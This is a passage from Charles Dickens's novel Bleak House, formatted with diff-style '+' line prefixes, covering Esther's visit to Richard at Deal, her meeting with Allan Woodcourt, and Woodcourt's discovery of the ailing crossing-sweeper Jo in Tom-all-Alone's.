+blocks, and loose gravelly waste places overgrown with grass and
+weeds, wore as dull an appearance as any place I ever saw. The sea
+was heaving under a thick white fog; and nothing else was moving but
+a few early ropemakers, who, with the yarn twisted round their
+bodies, looked as if, tired of their present state of existence, they
+were spinning themselves into cordage.
+
+But when we got into a warm room in an excellent hotel and sat down,
+comfortably washed and dressed, to an early breakfast (for it was too
+late to think of going to bed), Deal began to look more cheerful. Our
+little room was like a ship's cabin, and that delighted Charley very
+much. Then the fog began to rise like a curtain, and numbers of ships
+that we had had no idea were near appeared. I don't know how many
+sail the waiter told us were then lying in the downs. Some of these
+vessels were of grand size--one was a large Indiaman just come home;
+and when the sun shone through the clouds, making silvery pools in
+the dark sea, the way in which these ships brightened, and shadowed,
+and changed, amid a bustle of boats pulling off from the shore to
+them and from them to the shore, and a general life and motion in
+themselves and everything around them, was most beautiful.
+
+The large Indiaman was our great attraction because she had come into
+the downs in the night. She was surrounded by boats, and we said how
+glad the people on board of her must be to come ashore. Charley was
+curious, too, about the voyage, and about the heat in India, and the
+serpents and the tigers; and as she picked up such information much
+faster than grammar, I told her what I knew on those points. I told
+her, too, how people in such voyages were sometimes wrecked and cast
+on rocks, where they were saved by the intrepidity and humanity of
+one man. And Charley asking how that could be, I told her how we knew
+at home of such a case.
+
+I had thought of sending Richard a note saying I was there, but it
+seemed so much better to go to him without preparation. As he lived
+in barracks I was a little doubtful whether this was feasible, but we
+went out to reconnoitre. Peeping in at the gate of the barrack-yard,
+we found everything very quiet at that time in the morning, and I
+asked a sergeant standing on the guardhouse-steps where he lived. He
+sent a man before to show me, who went up some bare stairs, and
+knocked with his knuckles at a door, and left us.
+
+"Now then!" cried Richard from within. So I left Charley in the
+little passage, and going on to the half-open door, said, "Can I come
+in, Richard? It's only Dame Durden."
+
+He was writing at a table, with a great confusion of clothes, tin
+cases, books, boots, brushes, and portmanteaus strewn all about the
+floor. He was only half dressed--in plain clothes, I observed, not in
+uniform--and his hair was unbrushed, and he looked as wild as his
+room. All this I saw after he had heartily welcomed me and I was
+seated near him, for he started upon hearing my voice and caught me
+in his arms in a moment. Dear Richard! He was ever the same to me.
+Down to--ah, poor poor fellow!--to the end, he never received me but
+with something of his old merry boyish manner.
+
+"Good heaven, my dear little woman," said he, "how do you come here?
+Who could have thought of seeing you! Nothing the matter? Ada is
+well?"
+
+"Quite well. Lovelier than ever, Richard!"
+
+"Ah!" he said, leaning back in his chair. "My poor cousin! I was
+writing to you, Esther."
+
+So worn and haggard as he looked, even in the fullness of his
+handsome youth, leaning back in his chair and crushing the closely
+written sheet of paper in his hand!
+
+"Have you been at the trouble of writing all that, and am I not to
+read it after all?" I asked.
+
+"Oh, my dear," he returned with a hopeless gesture. "You may read it
+in the whole room. It is all over here."
+
+I mildly entreated him not to be despondent. I told him that I had
+heard by chance of his being in difficulty and had come to consult
+with him what could best be done.
+
+"Like you, Esther, but useless, and so NOT like you!" said he with a
+melancholy smile. "I am away on leave this day--should have been gone
+in another hour--and that is to smooth it over, for my selling out.
+Well! Let bygones be bygones. So this calling follows the rest. I
+only want to have been in the church to have made the round of all
+the professions."
+
+"Richard," I urged, "it is not so hopeless as that?"
+
+"Esther," he returned, "it is indeed. I am just so near disgrace as
+that those who are put in authority over me (as the catechism goes)
+would far rather be without me than with me. And they are right.
+Apart from debts and duns and all such drawbacks, I am not fit even
+for this employment. I have no care, no mind, no heart, no soul, but
+for one thing. Why, if this bubble hadn't broken now," he said,
+tearing the letter he had written into fragments and moodily casting
+them away, by driblets, "how could I have gone abroad? I must have
+been ordered abroad, but how could I have gone? How could I, with my
+experience of that thing, trust even Vholes unless I was at his
+back!"
+
+I suppose he knew by my face what I was about to say, but he caught
+the hand I had laid upon his arm and touched my own lips with it to
+prevent me from going on.
+
+"No, Dame Durden! Two subjects I forbid--must forbid. The first is
+John Jarndyce. The second, you know what. Call it madness, and I tell
+you I can't help it now, and can't be sane. But it is no such thing;
+it is the one object I have to pursue. It is a pity I ever was
+prevailed upon to turn out of my road for any other. It would be
+wisdom to abandon it now, after all the time, anxiety, and pains I
+have bestowed upon it! Oh, yes, true wisdom. It would be very
+agreeable, too, to some people; but I never will."
+
+He was in that mood in which I thought it best not to increase his
+determination (if anything could increase it) by opposing him. I took
+out Ada's letter and put it in his hand.
+
+"Am I to read it now?" he asked.
+
+As I told him yes, he laid it on the table, and resting his head upon
+his hand, began. He had not read far when he rested his head upon his
+two hands--to hide his face from me. In a little while he rose as if
+the light were bad and went to the window. He finished reading it
+there, with his back towards me, and after he had finished and had
+folded it up, stood there for some minutes with the letter in his
+hand. When he came back to his chair, I saw tears in his eyes.
+
+"Of course, Esther, you know what she says here?" He spoke in a
+softened voice and kissed the letter as he asked me.
+
+"Yes, Richard."
+
+"Offers me," he went on, tapping his foot upon the floor, "the little
+inheritance she is certain of so soon--just as little and as much as
+I have wasted--and begs and prays me to take it, set myself right
+with it, and remain in the service."
+
+"I know your welfare to be the dearest wish of her heart," said I.
+"And, oh, my dear Richard, Ada's is a noble heart."
+
+"I am sure it is. I--I wish I was dead!"
+
+He went back to the window, and laying his arm across it, leaned his
+head down on his arm. It greatly affected me to see him so, but I
+hoped he might become more yielding, and I remained silent. My
+experience was very limited; I was not at all prepared for his
+rousing himself out of this emotion to a new sense of injury.
+
+"And this is the heart that the same John Jarndyce, who is not
+otherwise to be mentioned between us, stepped in to estrange from
+me," said he indignantly. "And the dear girl makes me this generous
+offer from under the same John Jarndyce's roof, and with the same
+John Jarndyce's gracious consent and connivance, I dare say, as a new
+means of buying me off."
+
+"Richard!" I cried out, rising hastily. "I will not hear you say such
+shameful words!" I was very angry with him indeed, for the first time
+in my life, but it only lasted a moment. When I saw his worn young
+face looking at me as if he were sorry, I put my hand on his shoulder
+and said, "If you please, my dear Richard, do not speak in such a
+tone to me. Consider!"
+
+He blamed himself exceedingly and told me in the most generous manner
+that he had been very wrong and that he begged my pardon a thousand
+times. At that I laughed, but trembled a little too, for I was rather
+fluttered after being so fiery.
+
+"To accept this offer, my dear Esther," said he, sitting down beside
+me and resuming our conversation, "--once more, pray, pray forgive
+me; I am deeply grieved--to accept my dearest cousin's offer is, I
+need not say, impossible. Besides, I have letters and papers that I
+could show you which would convince you it is all over here. I have
+done with the red coat, believe me. But it is some satisfaction, in
+the midst of my troubles and perplexities, to know that I am pressing
+Ada's interests in pressing my own. Vholes has his shoulder to the
+wheel, and he cannot help urging it on as much for her as for me,
+thank God!"
+
+His sanguine hopes were rising within him and lighting up his
+features, but they made his face more sad to me than it had been
+before.
+
+"No, no!" cried Richard exultingly. "If every farthing of Ada's
+little fortune were mine, no part of it should be spent in retaining
+me in what I am not fit for, can take no interest in, and am weary
+of. It should be devoted to what promises a better return, and should
+be used where she has a larger stake. Don't be uneasy for me! I shall
+now have only one thing on my mind, and Vholes and I will work it. I
+shall not be without means. Free of my commission, I shall be able to
+compound with some small usurers who will hear of nothing but their
+bond now--Vholes says so. I should have a balance in my favour
+anyway, but that would swell it. Come, come! You shall carry a letter
+to Ada from me, Esther, and you must both of you be more hopeful of
+me and not believe that I am quite cast away just yet, my dear."
+
+I will not repeat what I said to Richard. I know it was tiresome, and
+nobody is to suppose for a moment that it was at all wise. It only
+came from my heart. He heard it patiently and feelingly, but I saw
+that on the two subjects he had reserved it was at present hopeless
+to make any representation to him. I saw too, and had experienced in
+this very interview, the sense of my guardian's remark that it was
+even more mischievous to use persuasion with him than to leave him as
+he was.
+
+Therefore I was driven at last to asking Richard if he would mind
+convincing me that it really was all over there, as he had said, and
+that it was not his mere impression. He showed me without hesitation
+a correspondence making it quite plain that his retirement was
+arranged. I found, from what he told me, that Mr. Vholes had copies
+of these papers and had been in consultation with him throughout.
+Beyond ascertaining this, and having been the bearer of Ada's letter,
+and being (as I was going to be) Richard's companion back to London,
+I had done no good by coming down. Admitting this to myself with a
+reluctant heart, I said I would return to the hotel and wait until he
+joined me there, so he threw a cloak over his shoulders and saw me to
+the gate, and Charley and I went back along the beach.
+
+There was a concourse of people in one spot, surrounding some naval
+officers who were landing from a boat, and pressing about them with
+unusual interest. I said to Charley this would be one of the great
+Indiaman's boats now, and we stopped to look.
+
+The gentlemen came slowly up from the waterside, speaking
+good-humouredly to each other and to the people around and glancing
+about them as if they were glad to be in England again. "Charley,
+Charley," said I, "come away!" And I hurried on so swiftly that my
+little maid was surprised.
+
+It was not until we were shut up in our cabin-room and I had had time
+to take breath that I began to think why I had made such haste. In
+one of the sunburnt faces I had recognized Mr. Allan Woodcourt, and I
+had been afraid of his recognizing me. I had been unwilling that he
+should see my altered looks. I had been taken by surprise, and my
+courage had quite failed me.
+
+But I knew this would not do, and I now said to myself, "My dear,
+there is no reason--there is and there can be no reason at all--why
+it should be worse for you now than it ever has been. What you were
+last month, you are to-day; you are no worse, you are no better. This
+is not your resolution; call it up, Esther, call it up!" I was in a
+great tremble--with running--and at first was quite unable to calm
+myself; but I got better, and I was very glad to know it.
+
+The party came to the hotel. I heard them speaking on the staircase.
+I was sure it was the same gentlemen because I knew their voices
+again--I mean I knew Mr. Woodcourt's. It would still have been a
+great relief to me to have gone away without making myself known, but
+I was determined not to do so. "No, my dear, no. No, no, no!"
+
+I untied my bonnet and put my veil half up--I think I mean half down,
+but it matters very little--and wrote on one of my cards that I
+happened to be there with Mr. Richard Carstone, and I sent it in to
+Mr. Woodcourt. He came immediately. I told him I was rejoiced to be
+by chance among the first to welcome him home to England. And I saw
+that he was very sorry for me.
+
+"You have been in shipwreck and peril since you left us, Mr.
+Woodcourt," said I, "but we can hardly call that a misfortune which
+enabled you to be so useful and so brave. We read of it with the
+truest interest. It first came to my knowledge through your old
+patient, poor Miss Flite, when I was recovering from my severe
+illness."
+
+"Ah! Little Miss Flite!" he said. "She lives the same life yet?"
+
+"Just the same."
+
+I was so comfortable with myself now as not to mind the veil and to
+be able to put it aside.
+
+"Her gratitude to you, Mr. Woodcourt, is delightful. She is a most
+affectionate creature, as I have reason to say."
+
+"You--you have found her so?" he returned. "I--I am glad of that." He
+was so very sorry for me that he could scarcely speak.
+
+"I assure you," said I, "that I was deeply touched by her sympathy
+and pleasure at the time I have referred to."
+
+"I was grieved to hear that you had been very ill."
+
+"I was very ill."
+
+"But you have quite recovered?"
+
+"I have quite recovered my health and my cheerfulness," said I. "You
+know how good my guardian is and what a happy life we lead, and I
+have everything to be thankful for and nothing in the world to
+desire."
+
+I felt as if he had greater commiseration for me than I had ever had
+for myself. It inspired me with new fortitude and new calmness to
+find that it was I who was under the necessity of reassuring him. I
+spoke to him of his voyage out and home, and of his future plans, and
+of his probable return to India. He said that was very doubtful. He
+had not found himself more favoured by fortune there than here. He
+had gone out a poor ship's surgeon and had come home nothing better.
+While we were talking, and when I was glad to believe that I had
+alleviated (if I may use such a term) the shock he had had in seeing
+me, Richard came in. He had heard downstairs who was with me, and
+they met with cordial pleasure.
+
+I saw that after their first greetings were over, and when they spoke
+of Richard's career, Mr. Woodcourt had a perception that all was not
+going well with him. He frequently glanced at his face as if there
+were something in it that gave him pain, and more than once he looked
+towards me as though he sought to ascertain whether I knew what the
+truth was. Yet Richard was in one of his sanguine states and in good
+spirits and was thoroughly pleased to see Mr. Woodcourt again, whom
+he had always liked.
+
+Richard proposed that we all should go to London together; but Mr.
+Woodcourt, having to remain by his ship a little longer, could not
+join us. He dined with us, however, at an early hour, and became so
+much more like what he used to be that I was still more at peace to
+think I had been able to soften his regrets. Yet his mind was not
+relieved of Richard. When the coach was almost ready and Richard ran
+down to look after his luggage, he spoke to me about him.
+
+I was not sure that I had a right to lay his whole story open, but I
+referred in a few words to his estrangement from Mr Jarndyce and to
+his being entangled in the ill-fated Chancery suit. Mr. Woodcourt
+listened with interest and expressed his regret.
+
+"I saw you observe him rather closely," said I, "Do you think him so
+changed?"
+
+"He is changed," he returned, shaking his head.
+
+I felt the blood rush into my face for the first time, but it was
+only an instantaneous emotion. I turned my head aside, and it was
+gone.
+
+"It is not," said Mr. Woodcourt, "his being so much younger or older,
+or thinner or fatter, or paler or ruddier, as there being upon his
+face such a singular expression. I never saw so remarkable a look in
+a young person. One cannot say that it is all anxiety or all
+weariness; yet it is both, and like ungrown despair."
+
+"You do not think he is ill?" said I.
+
+No. He looked robust in body.
+
+"That he cannot be at peace in mind, we have too much reason to
+know," I proceeded. "Mr. Woodcourt, you are going to London?"
+
+"To-morrow or the next day."
+
+"There is nothing Richard wants so much as a friend. He always liked
+you. Pray see him when you get there. Pray help him sometimes with
+your companionship if you can. You do not know of what service it
+might be. You cannot think how Ada, and Mr. Jarndyce, and even I--how
+we should all thank you, Mr. Woodcourt!"
+
+"Miss Summerson," he said, more moved than he had been from the
+first, "before heaven, I will be a true friend to him! I will accept
+him as a trust, and it shall be a sacred one!"
+
+"God bless you!" said I, with my eyes filling fast; but I thought
+they might, when it was not for myself. "Ada loves him--we all love
+him, but Ada loves him as we cannot. I will tell her what you say.
+Thank you, and God bless you, in her name!"
+
+Richard came back as we finished exchanging these hurried words and
+gave me his arm to take me to the coach.
+
+"Woodcourt," he said, unconscious with what application, "pray let us
+meet in London!"
+
+"Meet?" returned the other. "I have scarcely a friend there now but
+you. Where shall I find you?"
+
+"Why, I must get a lodging of some sort," said Richard, pondering.
+"Say at Vholes's, Symond's Inn."
+
+"Good! Without loss of time."
+
+They shook hands heartily. When I was seated in the coach and Richard
+was yet standing in the street, Mr. Woodcourt laid his friendly hand
+on Richard's shoulder and looked at me. I understood him and waved
+mine in thanks.
+
+And in his last look as we drove away, I saw that he was very sorry
+for me. I was glad to see it. I felt for my old self as the dead may
+feel if they ever revisit these scenes. I was glad to be tenderly
+remembered, to be gently pitied, not to be quite forgotten.
+
+
+
+
+CHAPTER XLVI
+
+Stop Him!
+
+
+Darkness rests upon Tom-All-Alone's. Dilating and dilating since the
+sun went down last night, it has gradually swelled until it fills
+every void in the place. For a time there were some dungeon lights
+burning, as the lamp of life hums in Tom-all-Alone's, heavily,
+heavily, in the nauseous air, and winking--as that lamp, too, winks
+in Tom-all-Alone's--at many horrible things. But they are blotted
+out. The moon has eyed Tom with a dull cold stare, as admitting some
+puny emulation of herself in his desert region unfit for life and
+blasted by volcanic fires; but she has passed on and is gone. The
+blackest nightmare in the infernal stables grazes on Tom-all-Alone's,
+and Tom is fast asleep.
+
+Much mighty speech-making there has been, both in and out of
+Parliament, concerning Tom, and much wrathful disputation how Tom
+shall be got right. Whether he shall be put into the main road by
+constables, or by beadles, or by bell-ringing, or by force of
+figures, or by correct principles of taste, or by high church, or by
+low church, or by no church; whether he shall be set to splitting
+trusses of polemical straws with the crooked knife of his mind or
+whether he shall be put to stone-breaking instead. In the midst of
+which dust and noise there is but one thing perfectly clear, to wit,
+that Tom only may and can, or shall and will, be reclaimed according
+to somebody's theory but nobody's practice. And in the hopeful
+meantime, Tom goes to perdition head foremost in his old determined
+spirit.
+
+But he has his revenge. Even the winds are his messengers, and they
+serve him in these hours of darkness. There is not a drop of Tom's
+corrupted blood but propagates infection and contagion somewhere. It
+shall pollute, this very night, the choice stream (in which chemists
+on analysis would find the genuine nobility) of a Norman house, and
+his Grace shall not be able to say nay to the infamous alliance.
+There is not an atom of Tom's slime, not a cubic inch of any
+pestilential gas in which he lives, not one obscenity or degradation
+about him, not an ignorance, not a wickedness, not a brutality of his
+committing, but shall work its retribution through every order of
+society up to the proudest of the proud and to the highest of the
+high. Verily, what with tainting, plundering, and spoiling, Tom has
+his revenge.
+
+It is a moot point whether Tom-all-Alone's be uglier by day or by
+night, but on the argument that the more that is seen of it the more
+shocking it must be, and that no part of it left to the imagination
+is at all likely to be made so bad as the reality, day carries it.
+The day begins to break now; and in truth it might be better for the
+national glory even that the sun should sometimes set upon the
+British dominions than that it should ever rise upon so vile a wonder
+as Tom.
+
+A brown sunburnt gentleman, who appears in some inaptitude for sleep
+to be wandering abroad rather than counting the hours on a restless
+pillow, strolls hitherward at this quiet time. Attracted by
+curiosity, he often pauses and looks about him, up and down the
+miserable by-ways. Nor is he merely curious, for in his bright dark
+eye there is compassionate interest; and as he looks here and there,
+he seems to understand such wretchedness and to have studied it
+before.
+
+On the banks of the stagnant channel of mud which is the main street
+of Tom-all-Alone's, nothing is to be seen but the crazy houses, shut
+up and silent. No waking creature save himself appears except in one
+direction, where he sees the solitary figure of a woman sitting on a
+door-step. He walks that way. Approaching, he observes that she has
+journeyed a long distance and is footsore and travel-stained. She
+sits on the door-step in the manner of one who is waiting, with her
+elbow on her knee and her head upon her hand. Beside her is a canvas
+bag, or bundle, she has carried. She is dozing probably, for she
+gives no heed to his steps as he comes toward her.
+
+The broken footway is so narrow that when Allan Woodcourt comes to
+where the woman sits, he has to turn into the road to pass her.
+Looking down at her face, his eye meets hers, and he stops.
+
+"What is the matter?"
+
+"Nothing, sir."
+
+"Can't you make them hear? Do you want to be let in?"
+
+"I'm waiting till they get up at another house--a lodging-house--not
+here," the woman patiently returns. "I'm waiting here because there
+will be sun here presently to warm me."
+
+"I am afraid you are tired. I am sorry to see you sitting in the
+street."
+
+"Thank you, sir. It don't matter."
+
+A habit in him of speaking to the poor and of avoiding patronage or
+condescension or childishness (which is the favourite device, many
+people deeming it quite a subtlety to talk to them like little
+spelling books) has put him on good terms with the woman easily.
+
+"Let me look at your forehead," he says, bending down. "I am a
+doctor. Don't be afraid. I wouldn't hurt you for the world."
+
+He knows that by touching her with his skilful and accustomed hand he
+can soothe her yet more readily. She makes a slight objection,
+saying, "It's nothing"; but he has scarcely laid his fingers on the
+wounded place when she lifts it up to the light.
+
+"Aye! A bad bruise, and the skin sadly broken. This must be very
+sore."
+
+"It do ache a little, sir," returns the woman with a started tear
+upon her cheek.
+
+"Let me try to make it more comfortable. My handkerchief won't hurt
+you."
+
+"Oh, dear no, sir, I'm sure of that!"
+
+He cleanses the injured place and dries it, and having carefully
+examined it and gently pressed it with the palm of his hand, takes a
+small case from his pocket, dresses it, and binds it up. While he is
+thus employed, he says, after laughing at his establishing a surgery
+in the street, "And so your husband is a brickmaker?"
+
+"How do you know that, sir?" asks the woman, astonished.
+
+"Why, I suppose so from the colour of the clay upon your bag and on
+your dress. And I know brickmakers go about working at piecework in
+different places. And I am sorry to say I have known them cruel to
+their wives too."
+
+The woman hastily lifts up her eyes as if she would deny that her
+injury is referable to such a cause. But feeling the hand upon her
+forehead, and seeing his busy and composed face, she quietly drops
+them again.
+
+"Where is he now?" asks the surgeon.
+
+"He got into trouble last night, sir; but he'll look for me at the
+lodging-house."
+
+"He will get into worse trouble if he often misuses his large and
+heavy hand as he has misused it here. But you forgive him, brutal as
+he is, and I say no more of him, except that I wish he deserved it.
+You have no young child?"
+
+The woman shakes her head. "One as I calls mine, sir, but it's
+Liz's."
+
+"Your own is dead. I see! Poor little thing!"
+
+By this time he has finished and is putting up his case. "I suppose
+you have some settled home. Is it far from here?" he asks,
+good-humouredly making light of what he has done as she gets up and
+curtsys.
+
+"It's a good two or three and twenty mile from here, sir. At Saint
+Albans. You know Saint Albans, sir? I thought you gave a start like,
+as if you did."
+
+"Yes, I know something of it. And now I will ask you a question in
+return. Have you money for your lodging?"
+
+"Yes, sir," she says, "really and truly." And she shows it. He tells
+her, in acknowledgment of her many subdued thanks, that she is very
+welcome, gives her good day, and walks away. Tom-all-Alone's is still
+asleep, and nothing is astir.
+
+Yes, something is! As he retraces his way to the point from which he
+descried the woman at a distance sitting on the step, he sees a
+ragged figure coming very cautiously along, crouching close to the
+soiled walls--which the wretchedest figure might as well avoid--and
+furtively thrusting a hand before it. It is the figure of a youth
+whose face is hollow and whose eyes have an emaciated glare. He is so
+intent on getting along unseen that even the apparition of a stranger
+in whole garments does not tempt him to look back. He shades his face
+with his ragged elbow as he passes on the other side of the way, and
+goes shrinking and creeping on with his anxious hand before him and
+his shapeless clothes hanging in shreds. Clothes made for what
+purpose, or of what material, it would be impossible to say. They
+look, in colour and in substance, like a bundle of rank leaves of
+swampy growth that rotted long ago.
+
+Allan Woodcourt pauses to look after him and note all this, with a
+shadowy belief that he has seen the boy before. He cannot recall how
+or where, but there is some association in his mind with such a form.
+He imagines that he must have seen it in some hospital or refuge,
+still, cannot make out why it comes with any special force on his
+remembrance.
+
+He is gradually emerging from Tom-all-Alone's in the morning light,
+thinking about it, when he hears running feet behind him, and looking
+round, sees the boy scouring towards him at great speed, followed by
+the woman.
+
+"Stop him, stop him!" cries the woman, almost breathless. "Stop him,
+sir!"
+
+He darts across the road into the boy's path, but the boy is quicker
+than he, makes a curve, ducks, dives under his hands, comes up
+half-a-dozen yards beyond him, and scours away again. Still the woman
+follows, crying, "Stop him, sir, pray stop him!" Allan, not knowing
+but that he has just robbed her of her money, follows in chase and
+runs so hard that he runs the boy down a dozen times, but each time
+he repeats the curve, the duck, the dive, and scours away again. To
+strike at him on any of these occasions would be to fell and disable
+him, but the pursuer cannot resolve to do that, and so the grimly
+ridiculous pursuit continues. At last the fugitive, hard-pressed,
+takes to a narrow passage and a court which has no thoroughfare.
+Here, against a hoarding of decaying timber, he is brought to bay and
+tumbles down, lying gasping at his pursuer, who stands and gasps at
+him until the woman comes up.
+
+"Oh, you, Jo!" cries the woman. "What? I have found you at last!"
+
+"Jo," repeats Allan, looking at him with attention, "Jo! Stay. To be
+sure! I recollect this lad some time ago being brought before the
+coroner."
+
+"Yes, I see you once afore at the inkwhich," whimpers Jo. "What of
+that? Can't you never let such an unfortnet as me alone? An't I
+unfortnet enough for you yet? How unfortnet do you want me fur to be?
+I've been a-chivied and a-chivied, fust by one on you and nixt by
+another on you, till I'm worritted to skins and bones. The inkwhich
+warn't MY fault. I done nothink. He wos wery good to me, he wos; he
+wos the only one I knowed to speak to, as ever come across my
+crossing. It ain't wery likely I should want him to be inkwhiched. I
+only wish I wos, myself. I don't know why I don't go and make a hole
+in the water, I'm sure I don't."
+
+He says it with such a pitiable air, and his grimy tears appear so
+real, and he lies in the corner up against the hoarding so like a
+growth of fungus or any unwholesome excrescence produced there in
+neglect and impurity, that Allan Woodcourt is softened towards him.
+He says to the woman, "Miserable creature, what has he done?"
+
+To which she only replies, shaking her head at the prostrate figure
+more amazedly than angrily, "Oh, you Jo, you Jo. I have found you at
+last!"
+
+"What has he done?" says Allan. "Has he robbed you?"
+
+"No, sir, no. Robbed me? He did nothing but what was kind-hearted by
+me, and that's the wonder of it."
+
+Allan looks from Jo to the woman, and from the woman to Jo, waiting
+for one of them to unravel the riddle.
+
+"But he was along with me, sir," says the woman. "Oh, you Jo! He was
+along with me, sir, down at Saint Albans, ill, and a young lady, Lord
+bless her for a good friend to me, took pity on him when I durstn't,
+and took him home--"
+
+Allan shrinks back from him with a sudden horror.
+
+"Yes, sir, yes. Took him home, and made him comfortable, and like a
+thankless monster he ran away in the night and never has been seen or
+heard of since till I set eyes on him just now. And that young lady
+that was such a pretty dear caught his illness, lost her beautiful
+looks, and wouldn't hardly be known for the same young lady now if it
+wasn't for her angel temper, and her pretty shape, and her sweet
+voice. Do you know it? You ungrateful wretch, do you know that this
+is all along of you and of her goodness to you?" demands the woman,
+beginning to rage at him as she recalls it and breaking into
+passionate tears.
+
+The boy, in rough sort stunned by what he hears, falls to smearing
+his dirty forehead with his dirty palm, and to staring at the ground,
+and to shaking from head to foot until the crazy hoarding against
+which he leans rattles.
+
+Allan restrains the woman, merely by a quiet gesture, but
+effectually.
+
+"Richard told me--" He falters. "I mean, I have heard of this--don't
+mind me for a moment, I will speak presently."
+
+He turns away and stands for a while looking out at the covered
+passage. When he comes back, he has recovered his composure, except
+that he contends against an avoidance of the boy, which is so very
+remarkable that it absorbs the woman's attention.
+
+"You hear what she says. But get up, get up!"
+
+Jo, shaking and chattering, slowly rises and stands, after the manner
+of his tribe in a difficulty, sideways against the hoarding, resting
+one of his high shoulders against it and covertly rubbing his right
+hand over his left and his left foot over his right.
+
+"You hear what she says, and I know it's true. Have you been here
+ever since?"
+
+"Wishermaydie if I seen Tom-all-Alone's till this blessed morning,"
+replies Jo hoarsely.
+
+"Why have you come here now?"
+
+Jo looks all round the confined court, looks at his questioner no
+higher than the knees, and finally answers, "I don't know how to do
+nothink, and I can't get nothink to do. I'm wery poor and ill, and I
+thought I'd come back here when there warn't nobody about, and lay
+down and hide somewheres as I knows on till arter dark, and then go
+and beg a trifle of Mr. Snagsby. He wos allus willin fur to give me
+somethink he wos, though Mrs. Snagsby she was allus a-chivying on
+me--like everybody everywheres."
+
+"Where have you come from?"
+
+Jo looks all round the court again, looks at his questioner's knees
+again, and concludes by laying his profile against the hoarding in a
+sort of resignation.
+
+"Did you hear me ask you where you have come from?"
+
+"Tramp then," says Jo.
+
+"Now tell me," proceeds Allan, making a strong effort to overcome his
+repugnance, going very near to him, and leaning over him with an
+expression of confidence, "tell me how it came about that you left
+that house when the good young lady had been so unfortunate as to
+pity you and take you home."
+
+Jo suddenly comes out of his resignation and excitedly declares,
+addressing the woman, that he never known about the young lady, that
+he never heern about it, that he never went fur to hurt her, that he
+would sooner have hurt his own self, that he'd sooner have had his
+unfortnet ed chopped off than ever gone a-nigh her, and that she wos
+wery good to him, she wos. Conducting himself throughout as if in his
+poor fashion he really meant it, and winding up with some very
+miserable sobs.
+
+Allan Woodcourt sees that this is not a sham. He constrains himself
+to touch him. "Come, Jo. Tell me."
+
+"No. I dustn't," says Jo, relapsing into the profile state. "I
+dustn't, or I would."
+
+"But I must know," returns the other, "all the same. Come, Jo."
+
+After two or three such adjurations, Jo lifts up his head again,
+looks round the court again, and says in a low voice, "Well, I'll
+tell you something. I was took away. There!"
+
+"Took away? In the night?"
+
+"Ah!" Very apprehensive of being overheard, Jo looks about him and
+even glances up some ten feet at the top of the hoarding and through
+the cracks in it lest the object of his distrust should be looking
+over or hidden on the other side.
+
+"Who took you away?"
+
+"I dustn't name him," says Jo. "I dustn't do it, sir.
+
+"But I want, in the young lady's name, to know. You may trust me. No
+one else shall hear."
+
+"Ah, but I don't know," replies Jo, shaking his head fearfully, "as
+he DON'T hear."
+
+"Why, he is not in this place."
+
+"Oh, ain't he though?" says Jo. "He's in all manner of places, all at
+wanst."
+
+Allan looks at him in perplexity, but discovers some real meaning and
+good faith at the bottom of this bewildering reply. He patiently
+awaits an explicit answer; and Jo, more baffled by his patience than
+by anything else, at last desperately whispers a name in his ear.
+
+"Aye!" says Allan. "Why, what had you been doing?"
+
+"Nothink, sir. Never done nothink to get myself into no trouble,
+'sept in not moving on and the inkwhich. But I'm a-moving on now. I'm
+a-moving on to the berryin ground--that's the move as I'm up to."
+
+"No, no, we will try to prevent that. But what did he do with you?"
+
+"Put me in a horsepittle," replied Jo, whispering, "till I was
+discharged, then giv me a little money--four half-bulls, wot you may
+call half-crowns--and ses 'Hook it! Nobody wants you here,' he ses.
+'You hook it. You go and tramp,' he ses. 'You move on,' he ses.
+'Don't let me ever see you nowheres within forty mile of London, or
+you'll repent it.' So I shall, if ever he doos see me, and he'll see
+me if I'm above ground," concludes Jo, nervously repeating all his
+former precautions and investigations.
+
+Allan considers a little, then remarks, turning to the woman but
+keeping an encouraging eye on Jo, "He is not so ungrateful as you
+supposed. He had a reason for going away, though it was an
+insufficient one."
+
+"Thankee, sir, thankee!" exclaims Jo. "There now! See how hard you
+wos upon me. But ony you tell the young lady wot the genlmn ses, and
+it's all right. For YOU wos wery good to me too, and I knows it."
+
+"Now, Jo," says Allan, keeping his eye upon him, "come with me and I
+will find you a better place than this to lie down and hide in. If I
+take one side of the way and you the other to avoid observation, you
+will not run away, I know very well, if you make me a promise."
+
+"I won't, not unless I wos to see HIM a-coming, sir."
+
+"Very well. I take your word. Half the town is getting up by this
+time, and the whole town will be broad awake in another hour. Come
+along. Good day again, my good woman."
+
+"Good day again, sir, and I thank you kindly many times again."
+
+She has been sitting on her bag, deeply attentive, and now rises and
+takes it up. Jo, repeating, "Ony you tell the young lady as I never
+went fur to hurt her and wot the genlmn ses!" nods and shambles and
+shivers, and smears and blinks, and half laughs and half cries, a
+farewell to her, and takes his creeping way along after Allan
+Woodcourt, close to the houses on the opposite side of the street. In
+this order, the two come up out of Tom-all-Alone's into the broad
+rays of the sunlight and the purer air.
+
+
+
+
+CHAPTER XLVII
+
+Jo's Will
+
+
+As Allan Woodcourt and Jo proceed along the streets where the high
+church spires and the distances are so near and clear in the morning
+light that the city itself seems renewed by rest, Allan revolves in
+his mind how and where he shall bestow his companion. "It surely is a
+strange fact," he considers, "that in the heart of a civilized world
+this creature in human form should be more difficult to dispose of
+than an unowned dog." But it is none the less a fact because of its
+strangeness, and the difficulty remains.
+
+At first he looks behind him often to assure himself that Jo is still
+really following. But look where he will, he still beholds him close
+to the opposite houses, making his way with his wary hand from brick
+to brick and from door to door, and often, as he creeps along,
+glancing over at him watchfully. Soon satisfied that the last thing
+in his thoughts is to give him the slip, Allan goes on, considering
+with a less divided attention what he shall do.
+
+A breakfast-stall at a street-corner suggests the first thing to be
+done. He stops there, looks round, and beckons Jo. Jo crosses and
+comes halting and shuffling up, slowly scooping the knuckles of his
+right hand round and round in the hollowed palm of his left, kneading
+dirt with a natural pestle and mortar. What is a dainty repast to Jo
+is then set before him, and he begins to gulp the coffee and to gnaw
+the bread and butter, looking anxiously about him in all directions
+as he eats and drinks, like a scared animal.
+
+But he is so sick and miserable that even hunger has abandoned him.
+"I thought I was amost a-starvin, sir," says Jo, soon putting down
+his food, "but I don't know nothink--not even that. I don't care for
+eating wittles nor yet for drinking on 'em." And Jo stands shivering
+and looking at the breakfast wonderingly.
+
+Allan Woodcourt lays his hand upon his pulse and on his chest. "Draw
+breath, Jo!" "It draws," says Jo, "as heavy as a cart." He might add,
+"And rattles like it," but he only mutters, "I'm a-moving on, sir."
+
+Allan looks about for an apothecary's shop. There is none at hand,
+but a tavern does as well or better. He obtains a little measure of
+wine and gives the lad a portion of it very carefully. He begins to
